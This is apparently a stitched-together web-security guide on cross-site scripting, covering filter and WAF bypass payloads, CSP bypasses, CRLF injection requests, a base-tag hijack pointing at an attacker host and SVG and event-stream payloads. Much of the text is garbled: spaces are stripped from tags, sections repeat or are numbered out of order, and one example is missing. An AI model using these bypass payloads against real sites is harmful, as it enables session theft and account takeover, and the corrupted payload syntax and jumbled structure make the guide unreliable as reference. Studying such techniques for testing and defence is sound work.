# Comprehensive Guide on Cross-Site Scripting (XSS) and Its Bypasses
Cross-Site Scripting (XSS) is a widespread vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. This guide covers the types of XSS, methodologies for detection and exploitation, contexts of injection, and advanced techniques for bypassing protections.
1. Introduction to XSS
XSS attacks enable attackers to inject malicious scripts into web pages. These scripts can execute in the context of a user's browser, allowing attackers to steal information, hijack sessions, or perform actions on behalf of the user.
1.1 Types of XSS
Stored XSS: The malicious script is permanently stored on the target server, such as in a database or comment field.
Reflected XSS: The malicious script is reflected off a web server, typically via a URL query parameter.
DOM-Based XSS: The vulnerability exists in the client-side code rather than the server-side code, and the attack payload is executed as a result of modifying the DOM environment.
2. Methodology for Detecting XSS
2.1 Identify Injection Points
Check if any value you control (parameters, path, headers, cookies) is reflected in the HTML or used by JavaScript code.
# Determine Reflection Context
Raw HTML: Can you create new HTML tags or use attributes/events that support JavaScript?
When working with complex XSS payloads, debugging client-side JavaScript can help understand how input is processed and reflected.
6.1 Tools for Debugging
Browser Developer Tools: Use the console, breakpoints, and step through the JavaScript code to understand the application flow and find XSS injection points.
7. Mitigations and Best Practices
7.1 Input Validation and Sanitization
Ensure all user inputs are validated and sanitized before being processed or rendered.
Prototype pollution in JavaScript occurs when an attacker can modify the properties of Object.prototype. This can lead to XSS if these properties are used in sensitive operations.
// Prototype pollution payload
Object.prototype.polluted = 'polluted';
If the application uses a polluted object property in a dangerous way, this can lead to XSS:
```
var obj = {};
alert(obj.polluted); // Outputs: polluted
```
# How to Bypass Internal Filtering for XSS
Bypassing internal filtering mechanisms such as Web Application Firewalls (WAFs) and input sanitization requires a deep understanding of how these filters operate and the techniques that can be used to circumvent them. This guide provides an in-depth look at various methods to bypass internal filtering mechanisms for XSS attacks.
Internal filters and WAFs are designed to prevent malicious inputs by inspecting, sanitizing, or blocking suspicious content. Common filtering techniques include:
Blacklisting: Blocking known malicious patterns or keywords.
Whitelisting: Allowing only specific safe inputs.
Encoding: Converting special characters to their HTML entities.
Normalization: Simplifying input to a consistent form for easier inspection.
Techniques for Bypassing Filters
2.1 Encoding and Decoding
Using various encoding methods can help bypass filters that don't decode inputs before inspection.
URL Encoding
```
%3Cscript%3Ealert(1)%3C/script%3E
```
Double URL Encoding
```
%253Cscript%253Ealert(1)%253C/script%253E
```
HTML Entities
```
<script>alert(1)</script>
```
Unicode Encoding
```
\u003Cscript\u003Ealert(1)\u003C/script\u003E
```
Case Variation
Altering the case of HTML tags and attributes can bypass filters that are case-sensitive.
```
<ScRiPt>alert(1)</ScRiPt>
<ImgsRc=xOnErRoR=alert(1)>
```
Comment Insertion
Inserting comments within the payload can break up patterns that the filter is looking for.
```
<scr<!---->ipt>alert(1)</scr<!---->ipt>
```
Using Null Bytes
Null byte injection can terminate strings early or bypass certain filters.
```
<imgsrc="x"onerror="alert(1)%00"src="y">
<svgonload="alert(1)%00">
```
Breaking Up Keywords
```
<scri/*foo*/pt>alert(1)</scri/*foo*/pt>
```
Using Concatenation
```
<scr\+ipt>alert(1)</scr\+ipt>
```
Leveraging Browser Parsing Quirks
Different browsers may interpret malformed HTML or JavaScript in ways that can be exploited.
```
<scr<script>ipt>alert(1)</scr</script>ipt>
```
Incomplete Tags
```
<svg><ahref="javascript:alert(1)">click</a></svg>
```
Inserting White Spaces and Line Breaks
Using white spaces and line breaks to bypass filters.
```
<scr\0ipt>alert(1)</scr\0ipt>
<svg
onload=alert(1)>
```
Combining Techniques
Combining multiple bypass techniques to create a payload that evades detection.
Using null bytes to terminate strings early or bypass certain filters.
```
<imgsrc="x"onerror="alert(1)%00"src="y">
<svgonload="alert(1)%00">
```
Obfuscation and Concatenation
Using obfuscation and concatenation to avoid detection by filters.
```
<scri/*foo*/pt>alert(1)</scri/*foo*/pt>
<scr\+ipt>alert(1)</scr\+ipt>
```
# Understanding CSP
CSP works by allowing website owners to define a whitelist of trusted sources for content such as scripts, styles, images, and more. This is done through the Content-Security-Policy HTTP header. Key directives include:
default-src: The default policy for loading content types.
script-src: Defines trusted sources for JavaScript.
style-src: Defines trusted sources for CSS.
img-src: Defines trusted sources for images.
2. Common CSP Misconfigurations
Misconfigured CSP policies are often the root cause of bypasses. Common issues include:
Allowing unsafe-inline or unsafe-eval in script-src.
Overly permissive whitelists.
Failing to cover all possible directives, leaving certain content types unprotected.
# Bypassing CSP
JSONP (JSON with Padding) allows data to be fetched from a different domain using a <script>tag.IftheJSONPendpointisnotproperlysecured,itcanbeexploitedtoexecutearbitraryJavaScript.
Overly permissive CSP headers, such as those allowing unsafe-inline, can be exploited to run inline scripts directly.
```
<scriptnonce="random-nonce">alert(1)</script>
```
Inline Script Allowances
When unsafe-inline is allowed, or if there is an oversight allowing inline scripts, attackers can inject their payload directly into inline scripts.
Script gadgets are existing pieces of code on a website that can be exploited to perform unintended actions. This is particularly effective if unsafe-inline or unsafe-eval is used.
Exploitation
Find an existing inline script that can be manipulated.
Inject code that modifies the behavior of the script.
Content Injection via Whitelisted CDNs
If a Content Delivery Network (CDN) is whitelisted, and the attacker can upload content to that CDN, they can inject malicious scripts.
SRI is used to ensure that resources hosted on third-party servers have not been tampered with. However, if SRI is not used properly, it can be bypassed.
Mutation XSS exploits the way browsers handle dynamic content changes. If CSP allows unsafe-inline, attackers can inject payloads that mutate the DOM in unexpected ways.
CRLF injection (Carriage Return Line Feed) is a vulnerability that occurs when an attacker can inject CRLF characters into an application, typically resulting in the manipulation of HTTP headers or log files. This guide explores how CRLF injection can be exploited to perform XSS attacks.
CRLF injection vulnerabilities occur when an application improperly handles user input, allowing the injection of CR (Carriage Return, \r, %0d) and LF (Line Feed, \n, %0a) characters. This can lead to:
CRLF injection can be used to inject new headers or modify the existing ones by breaking the intended structure of the HTTP response.
GET /vulnerable.php?param=value%0d%0aInjected-Header: injected_value HTTP/1.1
In this example, Injected-Header: injected_value would be treated as a new header.
CRLF Injection to XSS
By leveraging CRLF injection, an attacker can inject malicious content, including scripts, into the HTTP response, potentially leading to XSS.
3.1 Injecting Scripts via HTTP Response Splitting
HTTP response splitting occurs when CRLF injection allows the creation of additional HTTP responses. This can be exploited to insert scripts directly into the response body.
Example
Assume a vulnerable application includes user input directly in HTTP headers. An attacker can inject CRLF characters followed by a script tag.
GET /vulnerable.php?param=value%0d%0aContent-Length:%2023%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
URL Redirection and CRLF Injection
Another approach is to use CRLF injection to manipulate redirection headers and include XSS payloads.
Consider an application that redirects users based on input parameters. An attacker can inject CRLF characters to terminate the location header and include a script.
GET /redirect.php?url=http://example.com%0d%0aLocation:%20http://attacker.com/xss.html HTTP/1.1
Log Injection
CRLF injection can also be used to manipulate server logs, potentially leading to XSS when logs are viewed in an insecure application.
An attacker injects a script into log entries:
GET /vulnerable.php?param=value%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
Advanced CRLF Injection Techniques
4.1 Double CRLF Injection
Using multiple CRLF sequences to break the HTTP response in more complex scenarios.
GET /vulnerable.php?param=value%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
Hybrid Injection
Combining CRLF injection with other techniques such as parameter pollution or path traversal to enhance the attack.
GET /vulnerable.php?param1=value1¶m2=value2%0d%0aSet-Cookie:%20session=malicious_value%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
CRLF injection is a powerful technique that can lead to severe security vulnerabilities, including XSS. Understanding how to exploit and mitigate CRLF injection is crucial for securing web applications. By employing proper input validation, header handling, and security policies, developers can protect their applications from these attacks.
# Other Vulnerabilities leading to XSS
PDF Generation Vulnerabilities
Dynamic PDF Content Injection
When generating PDFs dynamically from user input, malicious content can lead to XSS.
```
// Vulnerable PDF generation code
$pdf->writeHTML($_POST['user_input']);
```
XML Injection
XML data that includes user input can be manipulated to include malicious scripts.
```
<!-- Vulnerable XML data -->
<user>
<name><?php echo $_POST['name']; ?></name>
</user>
```
XPath Injection Leading to XSS
XPath injection vulnerabilities can be exploited to retrieve sensitive data and potentially inject XSS.
If script tags and event handler attributes are blogged you can try to leverage base tags for XSS
```
//lets say the site has a script tag like this
<scriptsrc="static/js/context.js"/>
//the attacker could inject
<basehref="https://attacksite.com">
//and host their own static/js/context.js. note: the injection point must be above the targetted script
```
Exploiting SQL errors
if you see SQL errors, they are often not sanitized. This means they are worth checking for reflected xss. This doesn't only apply to SQL specifically but its the context I've seen this most
IDN allows the use of Unicode characters in domain names. Attackers can register domains that look visually similar to trusted domains by using characters from different languages that look alike. These domains can then host malicious content.
The <use> element in SVG can reference external content. If an application accepts user input for SVG references and does not properly sanitize it, this can lead to XSS.
```
<usehref="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg'%3E%3Cimage href=x onerror=alert('XSS via SVG Use')%3E%3C/svg%3E">
```
Server-Sent Events (SSE) Injection
Server-Sent Events (SSE) allow servers to push updates to the client. If the data sent by the server is not sanitized, it can lead to XSS.
```
https://vulnerable-site.com/sse?data=<script>alert('XSS via SSE')</script>
```
EventSource API Injection
The EventSource API allows servers to push updates to the client. If the server sends unsanitized data, it can lead to XSS.
```
event: message\ndata: <script>alert('XSS via EventSource')</script>\n\n
```
CSS Content Property Injection
If an application allows user input in CSS properties without sanitization, it can lead to XSS.
Note:most browsers consider the content property text not html and this works under very certain conditions unsure whether the browser still accepts this however i have inserted here as a use case.
IDN allows the use of Unicode characters in domain names. Attackers can register domains that look visually similar to trusted domains by using characters from different languages that look alike. These domains can then host malicious content.
Detailed Example of IDN Homograph Attack
Domain Registration:
The attacker registers a domain that looks similar to a trusted domain. For example, they can replace the Latin letter "a" with the Cyrillic letter "а" (U+0430).
Trusted domain: example.com
Malicious domain: exаmple.com (notice the Cyrillic "а")
Punycode Representation:
Browsers convert Unicode domains to ASCII-compatible encoding called Punycode. This representation starts with xn--.
